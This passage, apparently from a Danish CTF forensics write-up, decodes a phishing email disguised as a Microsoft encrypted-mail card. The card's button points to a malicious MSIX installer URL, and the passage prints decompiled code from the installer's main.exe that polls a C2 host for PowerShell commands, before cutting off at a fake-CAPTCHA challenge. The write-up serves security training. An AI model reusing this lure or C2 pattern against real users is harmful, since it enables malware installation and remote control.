</span></span></span><span class="line"><span class="cl"><span class="s2">0IjogIkJvbGRlciIsXG4gICAgICAgICAgICAgICAgICAgICJzaXplIjogIkxhcmdlIixcbiAgIC=
</span></span></span><span class="line"><span class="cl"><span class="s2">AgICAgICAgICAgICAgICAgInN0eWxlIjogImhlYWRpbmciXG4gICAgICAgICAgICAgICAgfSxcb=
</span></span></span><span class="line"><span class="cl"><span class="s2">iAgICAgICAgICAgICAgICB7XG4gICAgICAgICAgICAgICAgICAgICJ0eXBlIjogIlRleHRCbG9j=
</span></span></span><span class="line"><span class="cl"><span class="s2">ayIsXG4gICAgICAgICAgICAgICAgICAgICJpZCI6ICJmN2FiZGYxYS0zY2NlLTIxNTktMjhlZi1=
</span></span></span><span class="line"><span class="cl"><span class="s2">mMmYzNjJlYzkzN2UiLFxuICAgICAgICAgICAgICAgICAgICAidGV4dCI6ICJZb3UgaGF2ZSByZW=
</span></span></span><span class="line"><span class="cl"><span class="s2">NpZXZlZCBhbiBlbmNyeXB0ZWQgZW1haWwgZnJvbSBcXCJqZW5zLm15cnVwQGN5YmVybWVzdGVyc=
</span></span></span><span class="line"><span class="cl"><span class="s2">2thYmVybmUuZGRjXFwiIHdpdGggdGhlIHN1YmplY3QgXFwiQ3JlZGVudGlhbHMgZm9yIENURmRc=
</span></span></span><span class="line"><span class="cl"><span class="s2">XCIiLFxuICAgICAgICAgICAgICAgICAgICAid3JhcCI6IHRydWVcbiAgICAgICAgICAgICAgICB=
</span></span></span><span class="line"><span class="cl"><span class="s2">9LFxuICAgICAgICAgICAgICAgIHtcbiAgICAgICAgICAgICAgICAgICAgInR5cGUiOiAiQWN0aW=
</span></span></span><span class="line"><span class="cl"><span class="s2">9uU2V0IixcbiAgICAgICAgICAgICAgICAgICAgImlkIjogImE0YjdmNmZhLWYwOWMtMzI0MC0wM=
</span></span></span><span class="line"><span class="cl"><span class="s2">TA3LWJhOTZkYTUwNDcxYyIsXG4gICAgICAgICAgICAgICAgICAgICJhY3Rpb25zIjogW1xuICAg=
</span></span></span><span class="line"><span class="cl"><span class="s2">ICAgICAgICAgICAgICAgICAgICAge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICJ0eXB=
</span></span></span><span class="line"><span class="cl"><span class="s2">lIjogIkFjdGlvbi5Ub2dnbGVWaXNpYmlsaXR5IixcbiAgICAgICAgICAgICAgICAgICAgICAgIC=
</span></span></span><span class="line"><span class="cl"><span class="s2">AgICAiaWQiOiAiZDg2OTA1NmMtZTQzNi0xOGYxLTE5MzgtYTAzN2RhNmRiOGM4IixcbiAgICAgI=
</span></span></span><span class="line"><span class="cl"><span class="s2">CAgICAgICAgICAgICAgICAgICAgICAidGl0bGUiOiAiVmlldyBtZXNzYWdlIixcbiAgICAgICAg=
</span></span></span><span class="line"><span class="cl"><span class="s2">ICAgICAgICAgICAgICAgICAgICAidGFyZ2V0RWxlbWVudHMiOiBbXG4gICAgICAgICAgICAgICA=
</span></span></span><span class="line"><span class="cl"><span class="s2">gICAgICAgICAgICAgICAgIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC=
</span></span></span><span class="line"><span class="cl"><span class="s2">JlbGVtZW50SWQiOiAicGFnZTEiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI=
</span></span></span><span class="line"><span class="cl"><span class="s2">CAgImlzVmlzaWJsZSI6IGZhbHNlXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0s=
</span></span></span><span class="line"><span class="cl"><span class="s2">XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHtcbiAgICAgICAgICAgICAgICAgICA=
</span></span></span><span class="line"><span class="cl"><span class="s2">gICAgICAgICAgICAgICAgICJlbGVtZW50SWQiOiAicGFnZTIiLFxuICAgICAgICAgICAgICAgIC=
</span></span></span><span class="line"><span class="cl"><span class="s2">AgICAgICAgICAgICAgICAgICAgImlzVmlzaWJsZSI6IHRydWVcbiAgICAgICAgICAgICAgICAgI=
</span></span></span><span class="line"><span class="cl"><span class="s2">CAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIF0sXG4gICAgICAg=
</span></span></span><span class="line"><span class="cl"><span class="s2">ICAgICAgICAgICAgICAgICAgICAgInN0eWxlIjogInBvc2l0aXZlIixcbiAgICAgICAgICAgICA=
</span></span></span><span class="line"><span class="cl"><span class="s2">gICAgICAgICAgICAgICAiaXNQcmltYXJ5IjogdHJ1ZVxuICAgICAgICAgICAgICAgICAgICAgIC=
</span></span></span><span class="line"><span class="cl"><span class="s2">AgfVxuICAgICAgICAgICAgICAgICAgICBdLFxuICAgICAgICAgICAgICAgICAgICAiaG9yaXpvb=
</span></span></span><span class="line"><span class="cl"><span class="s2">nRhbEFsaWdubWVudCI6ICJSaWdodCJcbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICBd=
</span></span></span><span class="line"><span class="cl"><span class="s2">XG4gICAgICAgIH1cbiAgICBdLFxuICAgICJwYWRkaW5nIjogIk5vbmUiLFxuICAgICJAdHlwZSI=
</span></span></span><span class="line"><span class="cl"><span class="s2">6ICJBZGFwdGl2ZUNhcmQiLFxuICAgICJAY29udGV4dCI6ICJodHRwOi8vc2NoZW1hLm9yZy9leH=
</span></span></span><span class="line"><span class="cl"><span class="s2">RlbnNpb25zIixcblx0ZXhwZWN0ZWRBY3RvcnM6IFtcbiAgXHQgIG51bGxcblx0XSxcblx0aGlkZ=
</span></span></span><span class="line"><span class="cl"><span class="s2">U9yaWdpbmFsQm9keTogdHJ1ZSxcblx0cnRsOiBmYWxzZVxufSIsImlhdCI6IjE3NzE0MjcwODgi=
</span></span></span><span class="line"><span class="cl"><span class="s2">LCJyZWNpcGllbnRzU2VyaWFsaXplZCI6IltcIm9mZmVyLnNvZXJlbnNlbkBob3RtYWlsLmRkY1w=
</span></span></span><span class="line"><span class="cl"><span class="s2">iXSJ9&#34;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span> <span class="p">&lt;/</span><span class="nt">script</span><span class="p">&gt;</span>
</span></span></code></pre></div><p>Hvis vi fjerner alle = tegn og alle newlines, og så base64 decoder det, får vi følgende json:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-json" data-lang="json"><span class="line"><span class="cl"><span class="p">{</span><span class="nt">&#34;alg&#34;</span><span class="p">:</span><span class="s2">&#34;RS256&#34;</span><span class="p">,</span><span class="nt">&#34;typ&#34;</span><span class="p">:</span><span class="s2">&#34;JWT&#34;</span><span class="p">,</span><span class="nt">&#34;x5c&#34;</span><span class="p">:</span><span class="s2">&#34;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&#34;</span><span class="p">}{</span><span class="nt">&#34;sender&#34;</span><span class="p">:</span><span class="s2">&#34;jens.myrup@carnpfire.ddc&#34;</span><span class="p">,</span><span class="nt">&#34;originator&#34;</span><span class="p">:</span><span class="s2">&#34;abd17b4b-e363-497a-90dc-a1a63b3b95c5&#34;</span><span class="p">,</span><span class="nt">&#34;adaptiveCardSerialized&#34;</span><span class="p">:</span><span class="s2">&#34;{\n    &#34;</span><span class="err">$schema</span><span class="s2">&#34;: &#34;</span><span class="err">http</span><span class="p">:</span><span class="c1">//adaptivecards.io/schemas/adaptive-card.json&#34;,\n    &#34;type&#34;: &#34;AdaptiveCard&#34;,\n    &#34;version&#34;: &#34;1.0&#34;,\n    &#34;body&#34;: [\n        {\n            &#34;type&#34;: &#34;ColumnSet&#34;,\n            &#34;id&#34;: &#34;1ede2aba-61b9-faa0-9895-9ed0c26b2e6f&#34;,\n            &#34;columns&#34;: [\n                {\n                    &#34;type&#34;: &#34;Column&#34;,\n                    &#34;id&#34;: &#34;e5756242-0963-37a2-7cb4-4397886d60bb&#34;,\n                    &#34;padding&#34;: &#34;None&#34;,\n                    &#34;width&#34;: &#34;stretch&#34;,\n                    &#34;items&#34;: [\n                        {\n                            &#34;type&#34;: &#34;TextBlock&#34;,\n                            &#34;id&#34;: &#34;20f3833e-0435-5c87-fad1-b528e0046fb6&#34;,\n                            &#34;text&#34;: &#34;Microsoft Secure Emails&#34;,\n                            &#34;wrap&#34;: true\n                        }\n                    ],\n                    &#34;verticalContentAlignment&#34;: &#34;Center&#34;\n                },\n                {\n                    &#34;type&#34;: &#34;Column&#34;,\n                    &#34;id&#34;: &#34;74215a26-fa8b-e549-cced-7f99fd34a661&#34;,\n                    &#34;padding&#34;: &#34;None&#34;,\n                    &#34;width&#34;: &#34;auto&#34;,\n                    &#34;items&#34;: [],\n                    &#34;horizontalAlignment&#34;: &#34;Right&#34;\n                }\n            ],\n            &#34;padding&#34;: {\n                &#34;top&#34;: &#34;Small&#34;,\n                &#34;bottom&#34;: &#34;Small&#34;,\n                &#34;left&#34;: &#34;Default&#34;,\n                &#34;right&#34;: &#34;Small&#34;\n            },\n            &#34;style&#34;: &#34;emphasis&#34;\n        },\n        {\n            &#34;type&#34;: &#34;Container&#34;,\n            &#34;id&#34;: &#34;page2&#34;,\n            &#34;padding&#34;: &#34;Default&#34;,\n            &#34;items&#34;: [\n                {\n                    &#34;type&#34;: &#34;TextBlock&#34;,\n                    &#34;id&#34;: &#34;c3198856-e75b-4213-8b02-f439637150cd&#34;,\n                    &#34;text&#34;: &#34;Error!&#34;,\n                    &#34;wrap&#34;: true,\n                    &#34;size&#34;: &#34;Large&#34;,\n                    &#34;weight&#34;: &#34;Bolder&#34;\n                },\n                {\n                    &#34;type&#34;: &#34;TextBlock&#34;,\n                    &#34;id&#34;: &#34;1a9aafec-402b-79fb-340c-cccb71542335&#34;,\n                    &#34;text&#34;: &#34;Your machine does not support the required features for opening an encrypted email. Please enable the feature to view the message&#34;,\n                    &#34;wrap&#34;: true\n                },\n                {\n                    &#34;type&#34;: &#34;ActionSet&#34;,\n                    &#34;id&#34;: &#34;b74cd6e8-6338-e36c-fa4a-73fe0a3090df&#34;,\n                    &#34;actions&#34;: [\n                        {\n                            &#34;type&#34;: &#34;Action.OpenUrl&#34;,\n                            &#34;id&#34;: &#34;35e04d3c-c8fe-caab-9db8-caa54b0083fa&#34;,\n                            &#34;title&#34;: &#34;Enable Feature&#34;,\n                            &#34;url&#34;: &#34;ms-appinstaller:?source=https://secureemail.ctftech.uk/installer.msix&#34;,\n                            &#34;style&#34;: &#34;positive&#34;,\n                            &#34;isPrimary&#34;: true\n                        }\n                    ],\n                    &#34;horizontalAlignment&#34;: &#34;Right&#34;\n                }\n            ],\n            &#34;isVisible&#34;: false\n        },\n        {\n            &#34;type&#34;: &#34;Container&#34;,\n            &#34;id&#34;: &#34;page1&#34;,\n            &#34;padding&#34;: &#34;Default&#34;,\n            &#34;spacing&#34;: &#34;None&#34;,\n            &#34;items&#34;: [\n                {\n                    &#34;type&#34;: &#34;TextBlock&#34;,\n                    &#34;id&#34;: &#34;44906797-222f-9fe2-0b7a-e3ee21c6e380&#34;,\n                    &#34;text&#34;: &#34;You have a new encrypted email&#34;,\n                    &#34;wrap&#34;: true,\n                    &#34;weight&#34;: &#34;Bolder&#34;,\n                    &#34;size&#34;: &#34;Large&#34;,\n                    &#34;style&#34;: &#34;heading&#34;\n                },\n                {\n                    &#34;type&#34;: &#34;TextBlock&#34;,\n                    &#34;id&#34;: &#34;f7abdf1a-3cce-2159-28ef-f2f362ec937e&#34;,\n                    &#34;text&#34;: &#34;You have recieved an encrypted email from \\&#34;jens.myrup@cybermesterskaberne.ddc\\&#34; with the subject \\&#34;Credentials for CTFd\\&#34;&#34;,\n                    &#34;wrap&#34;: true\n                },\n                {\n                    &#34;type&#34;: &#34;ActionSet&#34;,\n                    &#34;id&#34;: &#34;a4b7f6fa-f09c-3240-0107-ba96da50471c&#34;,\n                    &#34;actions&#34;: [\n                        {\n                            &#34;type&#34;: &#34;Action.ToggleVisibility&#34;,\n                            &#34;id&#34;: &#34;d869056c-e436-18f1-1938-a037da6db8c8&#34;,\n                            &#34;title&#34;: &#34;View message&#34;,\n                            &#34;targetElements&#34;: [\n                                {\n                                    &#34;elementId&#34;: &#34;page1&#34;,\n                                    &#34;isVisible&#34;: false\n                                },\n                                {\n                                    &#34;elementId&#34;: &#34;page2&#34;,\n                                    &#34;isVisible&#34;: true\n                                }\n                            ],\n                            &#34;style&#34;: &#34;positive&#34;,\n                            &#34;isPrimary&#34;: true\n                        }\n                    ],\n                    &#34;horizontalAlignment&#34;: &#34;Right&#34;\n                }\n            ]\n        }\n    ],\n    &#34;padding&#34;: &#34;None&#34;,\n    &#34;@type&#34;: &#34;AdaptiveCard&#34;,\n    &#34;@context&#34;: &#34;http://schema.org/extensions&#34;,\n\texpectedActors: [\n  \t  null\n\t],\n\thideOriginalBody: true,\n\trtl: false\n}&#34;,&#34;iat&#34;:&#34;1771427088&#34;,&#34;recipientsSerialized&#34;:&#34;[\&#34;offer.soerensen@hotmail.ddc\&#34;]&#34;}
</span></span></span></code></pre></div><p>Blandt alt det her finder vi en url: <code>&quot;url&quot;: &quot;ms-appinstaller:?source=https://secureemail.ctftech.uk/installer.msix&quot;,</code> som peger på en msix fil. Det er en Microsoft Installer fil, som kan installeres på Windows 10 og 11. Hvis man downloader denne fil, kan den faktisk åbnes som et hvilket som helst zip arkiv, og inde i den finder vi 3 xml filer og en <code>main.exe</code> fil.</p>
<p><a href="/ddc_fasttrack_2026/forensics/installer.msix">installer.msix (mirror)</a></p>
<p>Efter at have kigget i <code>main.exe</code> filen ved hjælp af Binary Ninja, finder vi en funktion som laver network requests til <code>long-recipe-da01.oluf-sand.workers.dev</code> og sender data til <code>/api/args</code> og modtager data fra <code>/api/result</code>. Dette ligner klassisk c2 kommunikation.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="kt">int16_t</span><span class="o">*</span> <span class="nf">sub_402270</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kt">int32_t</span> <span class="n">var_8</span> <span class="o">=</span> <span class="mh">0xffffffff</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kt">int32_t</span> <span class="p">(</span><span class="o">*</span> <span class="n">var_c</span><span class="p">)(</span><span class="kt">void</span><span class="o">*</span> <span class="n">arg1</span><span class="p">)</span> <span class="o">=</span> <span class="n">sub_41af06</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">TEB</span><span class="o">*</span> <span class="n">fsbase</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">struct</span> <span class="n">_EXCEPTION_REGISTRATION_RECORD</span><span class="o">*</span> <span class="n">ExceptionList</span> <span class="o">=</span> <span class="n">fsbase</span><span class="o">-&gt;</span><span class="n">NtTib</span><span class="p">.</span><span class="n">ExceptionList</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kt">int32_t</span> <span class="n">__saved_ebp</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kt">int32_t</span> <span class="n">eax_2</span> <span class="o">=</span> <span class="n">__security_cookie</span> <span class="o">^</span> <span class="o">&amp;</span><span class="n">__saved_ebp</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kt">int32_t</span> <span class="n">var_184</span> <span class="o">=</span> <span class="n">eax_2</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">fsbase</span><span class="o">-&gt;</span><span class="n">NtTib</span><span class="p">.</span><span class="n">ExceptionList</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">ExceptionList</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kt">void</span> <span class="n">var_44</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="nf">sub_404850</span><span class="p">(</span><span class="o">&amp;</span><span class="n">var_44</span><span class="p">,</span> <span class="n">u</span><span class="s">&#34;long-recipe-da01.oluf-sand.workers.dev&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="kt">int32_t</span> <span class="n">var_8_1</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kt">int16_t</span> <span class="n">var_150</span> <span class="o">=</span> <span class="mh">0x1bb</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kt">void</span> <span class="n">var_74</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="nf">sub_404850</span><span class="p">(</span><span class="o">&amp;</span><span class="n">var_74</span><span class="p">,</span> <span class="n">u</span><span class="s">&#34;/api/args&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">var_8_1</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kt">void</span> <span class="n">var_5c</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="nf">sub_404850</span><span class="p">(</span><span class="o">&amp;</span><span class="n">var_5c</span><span class="p">,</span> <span class="n">u</span><span class="s">&#34;/api/result&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">var_8_1</span> <span class="o">=</span> <span class="mi">2</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kt">void</span> <span class="n">var_2c</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="nf">sub_404650</span><span class="p">(</span><span class="o">&amp;</span><span class="n">var_2c</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">var_8_1</span> <span class="o">=</span> <span class="mi">3</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kt">int16_t</span><span class="o">*</span> <span class="n">result</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="nf">sub_401980</span><span class="p">(</span><span class="o">&amp;</span><span class="n">var_44</span><span class="p">,</span> <span class="mh">0x1bb</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">var_74</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">var_2c</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="kt">int32_t</span> <span class="n">var_14c</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="nf">sub_404920</span><span class="p">(</span><span class="o">&amp;</span><span class="n">var_14c</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="n">var_8_1</span> <span class="o">=</span> <span class="mi">4</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="nf">sub_401470</span><span class="p">(</span><span class="o">&amp;</span><span class="n">var_2c</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">var_14c</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">        <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="kt">void</span> <span class="n">var_a4</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">            <span class="nf">sub_404650</span><span class="p">(</span><span class="o">&amp;</span><span class="n">var_a4</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">            <span class="n">var_8_1</span> <span class="o">=</span> <span class="mi">5</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">            <span class="kt">uint32_t</span> <span class="n">var_140</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">            
</span></span><span class="line"><span class="cl">            <span class="k">if</span> <span class="p">(</span><span class="nf">sub_401e80</span><span class="p">(</span><span class="o">&amp;</span><span class="n">var_14c</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">var_a4</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">var_140</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">            <span class="p">{</span>
</span></span><span class="line"><span class="cl">                <span class="kt">void</span> <span class="n">var_134</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">                <span class="kt">int32_t</span><span class="o">*</span> <span class="n">eax_10</span> <span class="o">=</span> <span class="nf">sub_407010</span><span class="p">(</span><span class="o">&amp;</span><span class="n">var_134</span><span class="p">,</span> <span class="n">var_140</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">                <span class="n">var_8_1</span> <span class="o">=</span> <span class="mi">6</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">                <span class="n">var_8_1</span> <span class="o">=</span> <span class="mi">7</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">                <span class="n">var_8_1</span> <span class="o">=</span> <span class="mi">8</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">                <span class="n">var_8_1</span> <span class="o">=</span> <span class="mi">9</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">                <span class="n">var_8_1</span> <span class="o">=</span> <span class="mh">0xa</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">                <span class="kt">void</span> <span class="n">var_11c</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">                <span class="kt">void</span> <span class="n">var_104</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">                <span class="kt">void</span> <span class="n">var_ec</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">                <span class="kt">void</span> <span class="n">var_d4</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">                <span class="kt">void</span> <span class="n">var_bc</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">                <span class="nf">sub_402970</span><span class="p">(</span><span class="o">&amp;</span><span class="n">var_bc</span><span class="p">,</span> 
</span></span><span class="line"><span class="cl">                    <span class="nf">sub_402930</span><span class="p">(</span><span class="o">&amp;</span><span class="n">var_d4</span><span class="p">,</span> 
</span></span><span class="line"><span class="cl">                        <span class="nf">sub_402970</span><span class="p">(</span><span class="o">&amp;</span><span class="n">var_ec</span><span class="p">,</span> 
</span></span><span class="line"><span class="cl">                            <span class="nf">sub_4029b0</span><span class="p">(</span><span class="o">&amp;</span><span class="n">var_104</span><span class="p">,</span> <span class="s">&#34;{&#34;</span><span class="n">output</span><span class="s">&#34;:&#34;&#34;, sub_401630(&amp;var_11c, &amp;var_a4)), </span>
</span></span><span class="line"><span class="cl">                            <span class="s">&#34;&#34;</span><span class="p">,</span><span class="s">&#34;exit_code&#34;</span><span class="o">:</span><span class="s">&#34;), </span>
</span></span><span class="line"><span class="cl">                        <span class="n">eax_10</span><span class="p">),</span> 
</span></span><span class="line"><span class="cl">                    <span class="s">&#34;}&#34;</span><span class="p">);</span>
</span></span></code></pre></div><p>Hvis vi bruger curl til at sende en request til <code>long-recipe-da01.oluf-sand.workers.dev/api/args</code> får vi powershell commands, men en note er at svaret skifter hver gang:</p>
<p><img src="/ddc_fasttrack_2026/forensics/yougotmail2.png" alt="C2 Server responses"></p>
<p>Her finder vi flaget.</p>
<p>Flag: <code>DDC{pl34s3_t3ll_m3_y0u_r4n_th1s_1n_4_s4ndb0x}</code></p>
<hr>
<h2 id="youve-got-mail">Youve got mail!</h2>
<p>I um&hellip; might have clicked something I shouldn&rsquo;t have&hellip; I swear I didn&rsquo;t mean to! I just wanted to see if it was really the flags being shared - to let Jens know I mean! Anyway, can you help me out?</p>
<p>Disclaimer: The handout file may be flagged as malware by antivirus software. It is recommended to run it in a sandbox or isolated environment.</p>
<p>Vedhæftet fil: <a href="static/ddc_fasttrack_2026/forensics/forensics_youvegotmail.zip">forensics_youvegotmail.zip</a></p>
<p><strong>Løsning:</strong> Dette er igen en suspekt udseende mail, som indeholder en html fil kaldet <code>SecureMessage.html</code>. I denne html fil finder vi noget der minder rigtig meget om falske CAPTCHA malware.</p>
